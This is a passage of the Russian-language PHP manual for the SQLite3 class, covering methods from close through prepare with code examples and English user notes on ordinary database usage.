  foreign key (a) references a (id) on delete cascade on update cascade
);
[/code]

When you try to delete a parent row (delete from parent where parent.id=?) it deletes all the childs referenced to this parent, but the method SQLite3::changes() is still returning 1, as if it only have deleted the parent.
krebs dot seb at googlemail dot com 10-Nov-2011 01:25
It seems, that this method doesn't report the affected rows properly, when using with savepoints or a transaction.


Закрыть соединение с базой данных

  • « SQLite3::changes
  • SQLite3::__construct »
  • PHP Manual
  • SQLite3
  • Закрыть соединение с базой данных

SQLite3::close

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::close — Закрыть соединение с базой данных

Описание

public SQLite3::close(): bool

Закрывает соединение с БД.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SQLite3::close()

<?php
$db = new SQLite3('mysqlitedb.db');
$db->close();
?>

User Contributed Notes

There are no user contributed notes for this page.


Создаёт экземпляр объекта SQLite3 и открывает соединение с базой

  • « SQLite3::close
  • SQLite3::createAggregate »
  • PHP Manual
  • SQLite3
  • Создаёт экземпляр объекта SQLite3 и открывает соединение с базой

SQLite3::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::__construct — Создаёт экземпляр объекта SQLite3 и открывает соединение с базой

Описание

public SQLite3::__construct(string $filename, int $flags = SQLITE3_OPEN_READWRITE | SQLITE3_OPEN_CREATE, string $encryptionKey = "")

Создаёт экземпляр объекта SQLite3 и открывает соединение с базой. Если включено шифрование, то появляется возможность использования ключа.

Список параметров

filename

Путь к SQLite базе или :memory:, для использования базы в оперативной памяти. Если filename задать как пустую строку, то будет создана приватная, временная база данных на диске. Эта база данных будет удалена сразу после закрытия соединения с ней.

flags

Необязательные флаги, для определения типа открытия базы данных. По умолчанию, используется SQLITE3_OPEN_READWRITE | SQLITE3_OPEN_CREATE.

  • SQLITE3_OPEN_READONLY: Открыть только для чтения.

  • SQLITE3_OPEN_READWRITE: Открыть для чтения и записи.

  • SQLITE3_OPEN_CREATE: Создать новый файл базы данных, если он отсутствует

encryptionKey

Необязательный ключ для шифрования/расшифровки базы данных. Если модуль шифрования не установлен, то данный параметр будет проигнорирован.

Ошибки

Выбрасывает исключение Exception в случае возникновения ошибки.

Список изменений

Версия | Описание
7.0.10 | Параметр filename можно задавать пустой строкой для создания на диске приватной, временной базы данных.

Примеры

Пример #1 Пример использования SQLite3::__construct()

<?php
$db = new SQLite3('mysqlitedb.db');

$db->exec('CREATE TABLE foo (bar TEXT)');
$db->exec("INSERT INTO foo (bar) VALUES ('This is a test')");

$result = $db->query('SELECT bar FROM foo');
var_dump($result->fetchArray());
?>

User Contributed Notes

jtreurniet at example dot com 08-Jul-2017 08:26
Note that the SQLITE3_OPEN_READONLY flag cannot be combined with the SQLITE3_OPEN_CREATE flag. If you combine both of these flags, a rather unhelpful "Unable to open database: out of memory" exception will be thrown.
bohwaz 16-May-2011 10:59
$encryption_key and all encryption features will be enabled only if the SQLite encryption module is installed. It's a proprietary, costly module. So if it's not present, supplying an encryption key will have absolutely no effect.


Зарегистрировать функцию PHP в качестве агрегирующей функции SQL

  • « SQLite3::__construct
  • SQLite3::createCollation »
  • PHP Manual
  • SQLite3
  • Зарегистрировать функцию PHP в качестве агрегирующей функции SQL

SQLite3::createAggregate

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::createAggregate — Зарегистрировать функцию PHP в качестве агрегирующей функции SQL

Описание

public SQLite3::createAggregate(
string $name,
callable $stepCallback,
callable $finalCallback,
int $argCount = -1
): bool

Регистрирует функцию PHP или пользовательскую функцию в качестве агрегирующей функции SQL для использования в запросах.

Список параметров

name

Имя агрегирующей функции SQL, которая должна быть создана или переопределена.

stepCallback

Функция обратного вызова, которая будет вызвана для каждой строки результирующего набора. Ваша PHP-функция должна аккумулировать результат и хранить его в контексте агрегации.

Эта функция должна быть определена следующим образом:

step(
mixed $context,
int $rownumber,
mixed $value,
mixed ...$values
): mixed
context

Для первой строки должно равняться null; Для всех последующих строк его значение должно быть равно значению, возвращённому на предыдущем шаге; вы должны использовать его для сохранения состояния агрегации.

rownumber

Номер текущей строки.

value

Первый аргумент переданный агрегатору.

values

Последующие аргументы.

Возвращаемое значение функции будет использовано как параметр context при следующем запуске функции, либо как значение передаваемое финализирующей функции.

finalCallback

Функция обратного вызова для вычисление итогового агрегированного значения. Она будет вызвана как только все строки результирующего набора будут обработаны, ей будет передан агрегирующий контекст и она вернёт финальное значение. Данная функция должна вернуть значение типа понятного SQLite (т.е. скалярный тип).

Эта функция должна быть определена следующим образом:

fini(mixed $context, int $rownumber): mixed
context

Содержит результат самого последнего вызова агрегирующей функции.

rownumber

Всегда 0.

Возвращаемое значение этой функции будет использовано как возвращаемое значение всего агрегатора.

argCount

Количество аргументов, которое принимает функция агрегирования SQL. Если значение отрицательное, то функция может использовать любое количество аргументов.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример агрегирующей функции max_length

<?php
$data = array(
'one',
'two',
'three',
'four',
'five',
'six',
'seven',
'eight',
'nine',
'ten',
);
$db = new SQLite3(':memory:');
$db->exec("CREATE TABLE strings(a)");
$insert = $db->prepare('INSERT INTO strings VALUES (?)');
foreach ($data as $str) {
$insert->bindValue(1, $str);
$insert->execute();
}
$insert = null;

function max_len_step($context, $rownumber, $string)
{
if (strlen($string) > $context) {
$context = strlen($string);
}
return $context;
}

function max_len_finalize($context, $rownumber)
{
return $context === null ? 0 : $context;
}

$db->createAggregate('max_len', 'max_len_step', 'max_len_finalize');

var_dump($db->querySingle('SELECT max_len(a) from strings'));
?>

Результат выполнения данного примера:

int(5)

В этом примере мы написали агрегирующую функцию, которая вычисляет самой длинной строки в одной колонке таблицы. Для каждой строки вызывается функция max_len_step и ей передаётся параметр $context. Этот параметр ничем не отличается от обычной переменной PHP и спокойно может содержать массив или объект. В этом примере мы используем её для хранения максимальной найденной длины строки. Если $string будет иметь длину больше, чем текущая сохранённая, то значение контекста будет обновлено.

После того, как все строки обработаны, SQLite вызовет функцию max_len_finalize, для окончательной подготовки результата. Тут мы можем произвести необходимые расчёты на основе данных из $context. В нашем простом примере никакая постобработке не нужна и мы просто возвращаем полученное значение.

Подсказка

НЕ рекомендуется хранить копию значений в контексте, а обработку производить в финализирующей функции, так как это может привести к большому потреблению памяти при обработке запроса. Просто представьте, сколько памяти вам понадобится для хранения миллиона строк, по 32 байта каждая, в памяти.

Подсказка

Для переопределения встроенных в SQLite агрегирующих функций вы можете использовать SQLite3::createAggregate().

User Contributed Notes

boris dot dd at gmail dot com 06-Jan-2017 07:57
<?php
class Test extends SQLite3
{
    public function __construct($file)
    {
        parent::__construct($file);
        $this->createAggregate('groupConcat', [$this, 'concatStep'], [$this, 'concatFinal']);
    }
    public function concatStep(&$context, $rowId, $string, $delimiter)
    {
        if (!isset($context)) {
            $context = [
                'delimiter' => $delimiter,
                'data'      => []
            ];
        }
        $context['data'][] = $string;
        return $context;
    }
    public function concatFinal(&$context)
    {
        return implode($context['delimiter'], $context['data']);
    }
}
$SQLite = new Test('/tmp/test.sqlite');
$SQLite->exec("create table `test` (`id` TEXT, `color` TEXT, `size` TEXT)");
$SQLite->exec("insert into `test` (`id`, `color`, `size`) values ('1', 'red', 'M')");
$SQLite->exec("insert into `test` (`id`, `color`, `size`) values ('1', 'green', 'M')");
$SQLite->exec("insert into `test` (`id`, `color`, `size`) values ('1', 'blue', 'S')");
$Result = $SQLite->query("select `size`, groupConcat(`color`, ';') as `color` from `test` group by `size`");
while ($row = $Result->fetchArray(SQLITE3_ASSOC)) {
    print_r($row);
}
/*
Array
(
    [size] => M
    [color] => red;green
)
Array
(
    [size] => S
    [color] => blue
)
*/
sukmaagungsaputra at gmail dot com 21-Feb-2015 05:09
Lacks of example, right?
Let's try to give to SQlite3 the capability like ones of MySQL's
- REGEXP operator,
- MD5 function, and
- GROUP_CONCAT aggregate function

$db = new SQLite3($filename);
$db->createFunction('regexp', function ($a,$b) { return preg_match("/$a/i", $b); });
$db->createFunction('md5', function ($a) { return md5($a); });
$db->createAggregate ('group_concat',
            function(&$context, $rownumber, $str) { $context[]=$str; return $context; },
            function(&$context) {return implode(",", (array) $context); });


Регистрирует функцию PHP для использования в качестве функции сортировки SQL

  • « SQLite3::createAggregate
  • SQLite3::createFunction »
  • PHP Manual
  • SQLite3
  • Регистрирует функцию PHP для использования в качестве функции сортировки SQL

SQLite3::createCollation

(PHP 5 >= 5.3.11, PHP 7, PHP 8)

SQLite3::createCollation — Регистрирует функцию PHP для использования в качестве функции сортировки SQL

Описание

public SQLite3::createCollation(string $name, callable $callback): bool

Регистрирует функцию PHP или пользовательскую функцию для использования в качестве функции сортировки в SQL-запросах.

Список параметров

name

Имя создаваемой или переопределяемой функции сортировки SQL

callback

Имя PHP-функции или определяемой пользователем функции для применения в качестве callback, определяющей поведение параметров сортировки. Она должна принимать два значения и возвращаемый результат должен быть такой же, как у strcmp(), т.е. он должен возвращать -1, 1 или 0, если первая строка сортируется до, после или равной второй.

Функция должна быть определена как:

collation(mixed $value1, mixed $value2): int

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SQLite3::createCollation()

Регистрирует PHP-функцию strnatcmp() как последовательность сортировки в базе данных SQLite3.

<?php

$db = new SQLite3(":memory:");
$db->exec("CREATE TABLE test (col1 string)");
$db->exec("INSERT INTO test VALUES ('a1')");
$db->exec("INSERT INTO test VALUES ('a10')");
$db->exec("INSERT INTO test VALUES ('a2')");

$db->createCollation('NATURAL_CMP', 'strnatcmp');

$defaultSort = $db->query("SELECT col1 FROM test ORDER BY col1");
$naturalSort = $db->query("SELECT col1 FROM test ORDER BY col1 COLLATE NATURAL_CMP");

echo "сортировка по умолчанию:\n";
while ($row = $defaultSort->fetchArray()){
echo $row['col1'], "\n";
}

echo "\nсортировка natural order:\n";
while ($row = $naturalSort->fetchArray()){
echo $row['col1'], "\n";
}

$db->close();

?>

Результат выполнения данного примера:

default:
a1
a10
a2

natural:
a1
a2
a10

Смотрите также

  • Документация по сопоставлению SQLite: » http://sqlite.org/datatype3.html#collation

User Contributed Notes

There are no user contributed notes for this page.


Регистрирует функцию PHP для использования в качестве скалярной функции SQL

  • « SQLite3::createCollation
  • SQLite3::enableExceptions »
  • PHP Manual
  • SQLite3
  • Регистрирует функцию PHP для использования в качестве скалярной функции SQL

SQLite3::createFunction

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::createFunction — Регистрирует функцию PHP для использования в качестве скалярной функции SQL

Описание

public SQLite3::createFunction(
string $name,
callable $callback,
int $argCount = -1,
int $flags = 0
): bool

Регистрирует функцию PHP или пользовательскую функцию для использования в качестве скалярной функции SQL для использования в SQL-выражениях.

Список параметров

name

Имя создаваемой или переопределяемой функции SQL.

callback

Имя функции PHP или пользовательской функции, применяемой в качестве callback, определяющей поведение функции SQL.

Функция должна быть определена как:

callback(mixed $value, mixed ...$values): mixed
value

Первый аргумент, передаваемый функции SQL.

values

Дополнительные аргументы, передаваемые функции SQL.

argCount

Число аргументов, принимаемых функцией SQL. Если этот параметр равен -1, то функция SQL может принимать любое количество аргументов.

flags

Побитовое объединение флагов. В настоящее время поддерживается только SQLITE3_DETERMINISTIC, который указывает, что функция всегда возвращает один и тот же результат, учитывая одни и те же входные данные внутри одного SQL-выражения.

Возвращаемые значения

Возвращает true в случае успешного создания функции или false в случае возникновения ошибки.

Список изменений

Версия | Описание
7.1.4 | Добавлен параметр flags.

Примеры

Пример #1 Пример использования SQLite3::createFunction()

<?php
function my_udf_md5($string) {
return md5($string);
}

$db = new SQLite3('mysqlitedb.db');
$db->createFunction('my_udf_md5', 'my_udf_md5');

var_dump($db->querySingle('SELECT my_udf_md5("test")'));
?>

Результатом выполнения данного примера будет что-то подобное:

string(32) "098f6bcd4621d373cade4e832627b4f6"

User Contributed Notes

bohwaz 28-Feb-2012 02:45
In PHP 5.4 there will be a createCollation method to use your custom collation method, to be able to sort datasets using unicode, like this:

<?php
setlocale(LC_COLLATE, 'fr_FR.UTF-8');
$db->createCollation('PHP_COLLATE', 'strcoll');

$db->query('SELECT * FROM my_table ORDER BY name COLLATE PHP_COLLATE;');
?>

But until this cool feature becomes available, you'll have to do some tricks, like this for french:

<?php
function sqlite3_to_ascii($str, $charset = 'UTF-8')
{
    // Don't process empty strings
    if (!trim($str))
        return $str;

    // We only process non-ascii strings
    if (preg_match('!^[[:ascii:]]+$!', $str))
        return $str;

    $str = htmlentities($str, ENT_NOQUOTES, $charset);

    $str = preg_replace('#&([A-za-z])(?:acute|cedil|circ|grave|orn|ring|slash|th|tilde|uml);#', '\1', $str);
    $str = preg_replace('#&([A-za-z]{2})(?:lig);#', '\1', $str);
    $str = preg_replace('#&[^;]+;#', '', $str);

    return $str;
}

$db->createFunction('to_ascii', 'sqlite3_to_ascii', 1);
$res = $db->query('SELECT * FROM test ORDER BY to_ascii(text);');
?>

This will convert non-ascii characters to ascii ones before collation. In fact this won't work with non-latin languages, but for latin-languages it's better than nothing.

Please note that this will slow down about 1.8 times the query (tested on a 10.000 rows table).
koalay at gmail dot com 26-May-2010 07:43
Since regular expression is not supported by default SQLite, we can create a user function to do the job.

<?php

$db = new SQLite3("database.sqlit3", 0666);

// create a function named "preg_match"
// with the php core function "preg_match"
if ($db->createFunction("preg_match", "preg_match", 2) === FALSE)
  exit("Failed creating function\n");

// this query will then works as expected
$result = $db->query("SELECT * FROM table1 WHERE
  preg_match('/^(apple|orange)$/', variable1)");

?>


Включить выброс исключений

  • « SQLite3::createFunction
  • SQLite3::escapeString »
  • PHP Manual
  • SQLite3
  • Включить выброс исключений

SQLite3::enableExceptions

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::enableExceptions — Включить выброс исключений

Описание

public SQLite3::enableExceptions(bool $enable = false): bool

Определяет, будет ли экземпляр SQLite3 выбрасывать исключения или предупреждения об ошибке.

Список параметров

enable

Когда передано значение true, экземпляр SQLite3 и экземпляры SQLite3Stmt и SQLite3Result, производные от него, будут выбрасывать исключения в случае возникновения ошибки.

Когда передано значение false, экземпляр SQLite3 и экземпляры SQLite3Stmt и SQLite3Result, производные от него, будут генерировать предупреждения в случае возникновения ошибки.

В любом случае, код ошибки и сообщение, если они есть, будут доступны через SQLite3::lastErrorCode() и SQLite3::lastErrorMsg() соответственно.

Возвращаемые значения

Возвращает старое значение; true, если исключения включены, false в противном случае.

Примеры

Пример #1 Пример использования SQLite3::enableExceptions()

<?php
$sqlite = new SQLite3(':memory:');
try {
$sqlite->exec('create table foo');
$sqlite->enableExceptions(true);
$sqlite->exec('create table bar');
} catch (Exception $e) {
echo 'Поймано исключение: ' . $e->getMessage();
}
?>

Результатом выполнения данного примера будет что-то подобное:

Warning: SQLite3::exec(): near "foo": syntax error in example.php on line 4
Поймано исключение: near "bar": syntax error

User Contributed Notes

Yoann 11-Dec-2018 01:51
Be sure to note the poorly chosen name and default value.

The following snippet does not throw an exception, despite calling a function with the name "enableExceptions" immediately prior to the bad query.
<?php
$sqlite = new SQLite3('test.tmp');
$sqlite->enableExceptions();
$sqlite->exec('invalid query');
echo 'code still running since no exception was thrown';
?>

Note that this is still error-prone if the passed value is false. One is likely to read "enableExceptions" and ignore the parameter list since the function name conveys a strong (but incorrect) meaning.


Возвращает правильно экранированную строку

  • « SQLite3::enableExceptions
  • SQLite3::exec »
  • PHP Manual
  • SQLite3
  • Возвращает правильно экранированную строку

SQLite3::escapeString

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::escapeString — Возвращает правильно экранированную строку

Описание

public static SQLite3::escapeString(string $string): string

Возвращает правильно экранированную сроку для безопасного включения в SQL-инструкцию.

Внимание

Эта функция (пока) небезопасна для обработки данных в двоичной форме!

Для обработки полей типа BLOB, которые могут содержать символ NUL, вместо этой функции используйте SQLite3Stmt::bindParam().

Список параметров

string

Строка для обработки

Возвращаемые значения

Возвращает правильно экранированную сроку, которая может быть безопасно использована в SQL-инструкции.

Примечания

Внимание

addslashes() НЕ должен использоваться для экранирования ваших строк в запросах SQLite; это будет приводить к неожиданным результатам при извлечении ваших данных.

User Contributed Notes

nhl261 at yahoo dot com 25-Sep-2014 09:11
Be careful if the string contains "\0" char.
see: https://bugs.php.net/bug.php?id=63419
alec at alecnewman dot com 09-Aug-2010 02:14
The reason this function doesn't escape double quotes is because double quotes are used with names (the equivalent of backticks in MySQL), as in table or column names, while single quotes are used for values.

This is important to remember, especially coming from another SQL implementation.  It can cause strange problems, for example, the query:

SELECT * FROM table WHERE column1="column1"

Would actually return every record, because column1 is always equal to column1.  This should instead be:

SELECT * FROM table WHERE column1='column1'

Double quotes are not escaped by the function because they are not interpreted specially within single quoted strings.


Выполняет запрос без результата к текущей базе данных

  • « SQLite3::escapeString
  • SQLite3::lastErrorCode »
  • PHP Manual
  • SQLite3
  • Выполняет запрос без результата к текущей базе данных

SQLite3::exec

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::exec — Выполняет запрос без результата к текущей базе данных

Описание

public SQLite3::exec(string $query): bool

Выполняет запрос без результата к текущей базе данных.

Замечание: SQLite3, возможно, потребуется создать » временные файлы во время выполнения запросов, так что соответствующие директории должны быть доступны для записи.

Список параметров

query

Выполняемый запрос SQL (обычно запрос INSERT, UPDATE или DELETE).

Возвращаемые значения

Возвращает true в случае успешного выполнения запроса или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SQLite3::exec()

<?php
$db = new SQLite3('mysqlitedb.db');

$db->exec('CREATE TABLE bar (bar TEXT)');
?>

User Contributed Notes

synnus 26-Jul-2022 08:05
<?php
       $db->exec('PRAGMA journal_mode = wal;');
       $db->exec('PRAGMA synchronous = NORMAL;');
       $db->exec('PRAGMA schema.taille_cache = 16000;');
?>
alexandre dot schmidt at gmail dot com 13-Feb-2016 05:38
I was getting "database locked" all the time until I found out some features of sqlite3 must be set by using SQL special instructions (i.e. using PRAGMA keyword). For instance, what apparently solved my problem with "database locked" was to set journal_mode to 'wal' (it is defaulting to 'delete', as stated here: https://www.sqlite.org/wal.html (see Activating  And Configuring WAL Mode)).

So basically what I had to do was creating a connection to the database and setting journal_mode with the SQL statement. Example:

<?php
$db = new SQLite3('/my/sqlite/file.sqlite3');
$db->busyTimeout(5000);
// WAL mode has better control over concurrency.
// Source: https://www.sqlite.org/wal.html
$db->exec('PRAGMA journal_mode = wal;');
?>

Hope that helps.


Возвращает числовой код результата последнего неудачного запроса SQLite

  • « SQLite3::exec
  • SQLite3::lastErrorMsg »
  • PHP Manual
  • SQLite3
  • Возвращает числовой код результата последнего неудачного запроса SQLite

SQLite3::lastErrorCode

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::lastErrorCode — Возвращает числовой код результата последнего неудачного запроса SQLite

Описание

public SQLite3::lastErrorCode(): int

Возвращает числовой код результата последнего неудачного запроса SQLite.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает целочисленное значение, представляющее числовой код результата последнего неудачного запроса SQLite.

User Contributed Notes

bohwaz 27-Nov-2020 10:07
Codes can be found here: https://sqlite.org/rescode.html
argon 19-Aug-2018 02:26
If no error occurred - `SQLite3::lastErrorCode()` returns `0` (int zero)


Возвращает текст на английском, описывающий последний неудачный запрос SQLite

  • « SQLite3::lastErrorCode
  • SQLite3::lastInsertRowID »
  • PHP Manual
  • SQLite3
  • Возвращает текст на английском, описывающий последний неудачный запрос SQLite

SQLite3::lastErrorMsg

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::lastErrorMsg — Возвращает текст на английском, описывающий последний неудачный запрос SQLite

Описание

public SQLite3::lastErrorMsg(): string

Возвращает текст на английском, описывающий последний неудачный запрос SQLite.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку на английском, описывающую самый последний неудачный запрос SQLite.

User Contributed Notes

shafyxl at gmail dot com 16-Oct-2017 06:37
$db= new SQLite3('db1.db');
            $results= $db->query('SELECT * FROM table1');
            if($results==FALSE)
            {
                echo "Error in fetch ".$db->lastErrorMsg();
            }
            else
            {
                while ($row= $results->fetchArray())
                {


Возвращает идентификатор строки последней вставки (INSERT) в базу данных

  • « SQLite3::lastErrorMsg
  • SQLite3::loadExtension »
  • PHP Manual
  • SQLite3
  • Возвращает идентификатор строки последней вставки (INSERT) в базу данных

SQLite3::lastInsertRowID

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::lastInsertRowID — Возвращает идентификатор строки последней вставки (INSERT) в базу данных

Описание

public SQLite3::lastInsertRowID(): int

Возвращает идентификатор строки последней вставки (INSERT) в базу данных.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает идентификатор строки последней вставки (INSERT) в базу данных. Если при этом соединении с базой данных никогда не происходило успешных операций INSERT в таблицы rowid, то SQLite3::lastInsertRowID() возвращает 0.

User Contributed Notes

alexofen at KEINSpamgmail dot com 05-Jan-2015 10:08
lastInsertRowID is relative to the database connection. Hence if there are two instances of a php script (with distinct $db connections) there is no risk that the RowID of the one instance will effect the result of the other instance.

I mention this point here as it was not clear from the documentation, at least not very clear to me and hence I hope it might help others.


Попытаться загрузить библиотеку модуля SQLite

  • « SQLite3::lastInsertRowID
  • SQLite3::open »
  • PHP Manual
  • SQLite3
  • Попытаться загрузить библиотеку модуля SQLite

SQLite3::loadExtension

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::loadExtension — Попытаться загрузить библиотеку модуля SQLite

Описание

public SQLite3::loadExtension(string $name): bool

Попытаться загрузить библиотеку модуля SQLite.

Список параметров

name

Имя загружаемой библиотеки. Библиотека должна находиться в каталоге, указанном в конфигурационной опции sqlite3.extension_dir.

Возвращаемые значения

Возвращает true в случае, если модуль успешно загружен или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SQLite3::loadExtension()

<?php
$db = new SQLite3('mysqlitedb.db');
$db->loadExtension('libagg.so');
?>

User Contributed Notes

RollingHog 12-May-2020 06:51
One more addition. If you need to setup non-thread-safe PHP on XAMPP/Apache to use loadextension, look at this article: https://paulshipley.id.au/blog/coding-tips/improve-php-performance-with-fastcgi-on-xampp-for-windows/

Tl;dr - you need to install&configure mod_fcgid module for Apache.
RollingHog 08-May-2020 07:15
For newbies like me: if loadExtension fails with "Not supported in multithreaded Web servers" message (which always happens on IIS and sometimes - on Apache), you need to use non-thread-safe build of PHP, which is not always a bad idea; see https://www.geeksforgeeks.org/what-is-thread-safe-or-non-thread-safe-in-php/


Открыть базу данных SQLite

  • « SQLite3::loadExtension
  • SQLite3::openBlob »
  • PHP Manual
  • SQLite3
  • Открыть базу данных SQLite

SQLite3::open

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::open — Открыть базу данных SQLite

Описание

public SQLite3::open(string $filename, int $flags = SQLITE3_OPEN_READWRITE | SQLITE3_OPEN_CREATE, string $encryptionKey = ""): void

Открывает базу данных SQLite 3. Если сборка включает шифрование, то она будет пробовать использовать ключ.

Список параметров

filename

Путь к БД SQLite или :memory: для использования БД в памяти.

flags

Опциональные флаги используемые для определения, как открывать БД. По умолчанию SQLITE3_OPEN_READWRITE | SQLITE3_OPEN_CREATE.

  • SQLITE3_OPEN_READONLY: Открыть БД только для чтения.

  • SQLITE3_OPEN_READWRITE: Открыть БД для чтения и записи.

  • SQLITE3_OPEN_CREATE: Создать БД, если её нет.

encryptionKey

Опциональный ключ, для использования шифрования при работе с БД. Если модуль шифрования не установлен, то данная опция не будет использована.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования SQLite3::open()

<?php
/**
* Простой пример расширения класса SQLite3 и изменения параметров конструктора.
* После чего использование метода open для инициализации БД.
*/
class MyDB extends SQLite3
{
function __construct()
{
$this->open('mysqlitedb.db');
}
}

$db = new MyDB();

$db->exec('CREATE TABLE foo (bar STRING)');
$db->exec("INSERT INTO foo (bar) VALUES ('This is a test')");

$result = $db->query('SELECT bar FROM foo');
var_dump($result->fetchArray());
?>

User Contributed Notes

BenWa 09-Jul-2018 01:53
If you plan to have concurrent access to a SQLITE3 database, it is advised to change the default SQLite3::busyTimeout value (set to zero by default). Otherwise, you may get a "database locked" error while writing to the database.

With the timeout set to a non zero value, a write attempt to a locked database will wait for the lock to be released (within the timeout) before sending an error.

Note that the default value was set to 60 seconds on SQLITE2.
jtreurniet at example dot com 08-Jul-2017 08:27
Note that the SQLITE3_OPEN_READONLY flag cannot be combined with the SQLITE3_OPEN_CREATE flag. If you combine both of these flags, a rather unhelpful "Unable to open database: out of memory" exception will be thrown.
susan at itsasmartsolve dot co dot za 10-Jul-2016 03:45
[Editor's note: see <https://www.sqlite.org/backup.html>]

Just a quick note on not being able to open() two databases together and copy the exact info, say for instance to create a backup db. I searched the net for and answer, none of which served. The comment and solution of attaching seems complicated to me. Eventually I worked out that the same result could be more simply accomplished using the copy() function.
<?php
copy("old.db", "new.db");
?>
kbrobst at surveyresearchpartners dot com 07-Mar-2010 12:54
If you are trying to use the open() method to open multiple database files within the same SQLite3 object (which I could not get to work), here is an alternative way to do so using special SQLite3 syntax additions to the SQL language.  This took some investigation on my part, so hopefully the solution I found will help you too.

These are the nice features within SQLite3 that are leveraged:
* The create statement query for a table is stored within a table called "sqlite_master" within the parent database file.
* SQLite3 supports the "insert into...select * from" SQL syntax for doing bulkload-speed inserts into a table - but what if the source and target tables are in separate database files?
* SQLite3 has an "attach [filename] as [reference database name]" which will allow multiple database files to be opened and accessible to the same SQLite3 object.

Assume you have a table called "my_template" in the SQLite3 database file "source.db".  You want to make a copy of this table into the database file "target.db" and call the table "working_table".

<?php
//attach the source database file to the bulkload connection object;
$bulkload_connection = new SQLite3("c:/sqlite3_database_files/source.db");

//retrieve the create statement query for the source table;
$sourcetbl_create_statement = $bulkload_connection->querySingle("select sql from sqlite_master where type='table' and name='my_template'");
if ($sourcetbl_create_statement===false) exit($bulkload_connection->lastErrorMsg());

//build the create statement query for the target table;
$targettbl_create_statement = str_replace('CREATE TABLE my_template', 'CREATE TABLE bulkload.working_table', $sourcetbl_create_statement);

//attach the target database file to the bulkload connection object - and reference it as the database called [bulkload];
$result=$bulkload_connection->exec("attach 'c:/sqlite3_database_files/target.db' as bulkload");
if ($result===false) exit($bulkload_connection->lastErrorMsg());

//issue the query to create the target table within the target database file;
$result=$bulkload_connection->exec($targettbl_create_statement);
if ($result===false) exit($bulkload_connection->lastErrorMsg());

//copy the rows from the source table to the target table as quickly as possible;
$result=$bulkload_connection->exec("insert into bulkload.working_table select * from my_template");
if ($result===false) exit($bulkload_connection->lastErrorMsg());

//release the OS file locks on the attached database files;
$bulkload_connection->close();
unset($bulkload_connection);
?>


Открывает ресурс потока для чтения BLOB

  • « SQLite3::open
  • SQLite3::prepare »
  • PHP Manual
  • SQLite3
  • Открывает ресурс потока для чтения BLOB

SQLite3::openBlob

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::openBlob — Открывает ресурс потока для чтения BLOB

Описание

public SQLite3::openBlob(
string $table,
string $column,
int $rowid,
string $database = "main",
int $flags = SQLITE3_OPEN_READONLY
): resource|false

Открывает ресурс потока для чтения или записи BLOB, который будет выбран:

SELECT column FROM database.table WHERE rowid = rowid

Замечание: Невозможно изменить размер BLOB путём записи в поток. Вместо этого необходимо выполнить запрос UPDATE, возможно, используя SQLite-функцию zeroblob(), чтобы задать желаемый размер BLOB.

Список параметров

table

Название таблицы.

column

Название столбца.

rowid

Идентификатор строки.

database

Символическое название базы данных

flags

Либо SQLITE3_OPEN_READONLY, либо SQLITE3_OPEN_READWRITE, чтобы открыть поток только для чтения или для чтения и записи, соответственно.

Возвращаемые значения

Возвращает ресурс потока или false в случае возникновения ошибки.

Список изменений

Версия | Описание
7.2.0 | Добавлен параметр flags, позволяющий записать BLOB; ранее поддерживалось только чтение.

Примеры

Пример #1 Пример использования SQLite3::openBlob()

<?php
$conn = new SQLite3(':memory:');
$conn->exec('CREATE TABLE test (text text)');
$conn->exec("INSERT INTO test VALUES ('Lorem ipsum')");
$stream = $conn->openBlob('test', 'text', 1);
echo stream_get_contents($stream);
fclose($stream); // обязательно, иначе на следующей строке произойдёт ошибка
$conn->close();
?>

Результат выполнения данного примера:

Lorem ipsum

Пример #2 Пошаговая запись BLOB

<?php
$conn = new SQLite3(':memory:');
$conn->exec('CREATE TABLE test (text text)');
$conn->exec("INSERT INTO test VALUES (zeroblob(36))");
$stream = $conn->openBlob('test', 'text', 1, 'main', SQLITE3_OPEN_READWRITE);
for ($i = 0; $i < 3; $i++) {
fwrite($stream, "Lorem ipsum\n");
}
fclose($stream);
echo $conn->querySingle("SELECT text FROM test");
$conn->close();
?>

Результат выполнения данного примера:

Lorem ipsum
Lorem ipsum
Lorem ipsum

User Contributed Notes

There are no user contributed notes for this page.


Подготавливает SQL-запрос для выполнения

  • « SQLite3::openBlob
  • SQLite3::query »
  • PHP Manual
  • SQLite3
  • Подготавливает SQL-запрос для выполнения

SQLite3::prepare

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::prepare — Подготавливает SQL-запрос для выполнения

Описание

public SQLite3::prepare(string $query): SQLite3Stmt|false

Подготавливает SQL-запрос для выполнения и возвращает объект SQLite3Stmt.

Список параметров

query

SQL-запрос на подготовку.

Возвращаемые значения

Возвращает объект SQLite3Stmt в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SQLite3::prepare()

<?php
unlink('mysqlitedb.db');
$db = new SQLite3('mysqlitedb.db');

$db->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$db->exec("INSERT INTO foo (id, bar) VALUES (1, 'Тестовое значение')");

